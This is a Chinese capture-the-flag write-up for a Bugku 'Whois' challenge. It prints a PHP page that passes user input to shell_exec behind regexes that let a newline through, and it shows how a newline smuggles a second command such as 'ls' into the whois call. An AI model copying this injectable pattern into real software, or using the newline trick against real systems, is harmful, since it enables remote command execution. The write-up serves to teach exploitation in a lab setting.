【BugkuCTF】Whois

直接访问http://49.232.142.230:15900/query.php

会直接爆出源码

复制代码
<?php

error_reporting(0);

$output = null;
$host_regex = "/^[0-9a-zA-Z][0-9a-zA-Z\.-]+$/";
$query_regex = "/^[0-9a-zA-Z\. ]+$/";


if (isset($_GET['query']) && isset($_GET['host']) && 
      is_string($_GET['query']) && is_string($_GET['host'])) {

  $query = $_GET['query'];
  $host = $_GET['host'];
  
  if ( !preg_match($host_regex, $host) || !preg_match($query_regex, $query) ) {
    $output = "Invalid query or whois host";
  } else {
    $output = shell_exec("/usr/bin/whois -h ${host} ${query}");
  }

} 
else {
  highlight_file(__FILE__);
  exit;
}

?>

<!DOCTYPE html>
<html>
  <head>
    <title>Whois</title>
  </head>
  <body>
    <pre><?= htmlspecialchars($output) ?></pre>
  </body>
</html>

具体执行的命令大概如下所示

复制代码
/usr/bin/whois -h whois.verisign-grs.com baidu.com

但是这里需要绕正则,通过正则可知我们无法使用常规的方法来拼接命令

复制代码
# host参数只能由0-9、a-z、A-Z、.(点)、-(减号)以及\n或者\r 组成
$host_regex = "/^[0-9a-zA-Z][0-9a-zA-Z\.-]+$/";
# query参数只能由0-9、a-z、A-Z、.(点)、 (空格)以及\n或者\r组成
$query_regex = "/^[0-9a-zA-Z\. ]+$/";

可以看到**\n换行符** 和**\r回车符**是可以用的

这里回车符不行,但是换行符可以

这样子后端的命令就变成了

复制代码
/usr/bin/whois -h whois.verisign-grs.com
ls
相关推荐
游戏开发爱好者82 天前
带签名时间戳接口的重放与压力测试实战,用动态值在发送前现算签名
网络协议·计算机网络·网络安全·ios·adb·https·压力测试
笨鸟先飞,勤能补拙2 天前
AI与深度学习:从原理到应用
人工智能·windows·vscode·深度学习·机器学习·网络安全·github
数据知道2 天前
网络安全实战:子域名接管实战——从 CNAME 配置错误到完全控制
网络·安全·web安全·网络安全
小新讲网安2 天前
云安全攻防实战:AWS与阿里云渗透测试全流程指南
安全·web安全·网络安全·阿里云·自动化·云计算·aws
Aision_2 天前
代码安全学习手记(二):SCA 软件成分分析原理与 OWASP Dependency-Check 集成实战
运维·人工智能·学习·安全·web安全·网络安全
艺杯羹3 天前
古典密码学攻防演进全景:从凯撒移位、频率分析到一次一密与恩尼格玛机破译
网络·人工智能·安全·网络安全·密码学·密码安全
菩提小狗3 天前
每日安全情报报告 · 2026-08-17
网络安全·漏洞·cve·安全情报·每日安全
菜是原罪3 天前
ECS CPU 100% 故障排查与安全事件复盘报告
运维·服务器·网络安全
juesdo3 天前
vulnos OS-00118靶场通关
linux·web安全·网络安全·docker
数据知道3 天前
网络安全实战:渗透测试全流程 SOP——从授权到报告交付
服务器·网络·安全·web安全·网络安全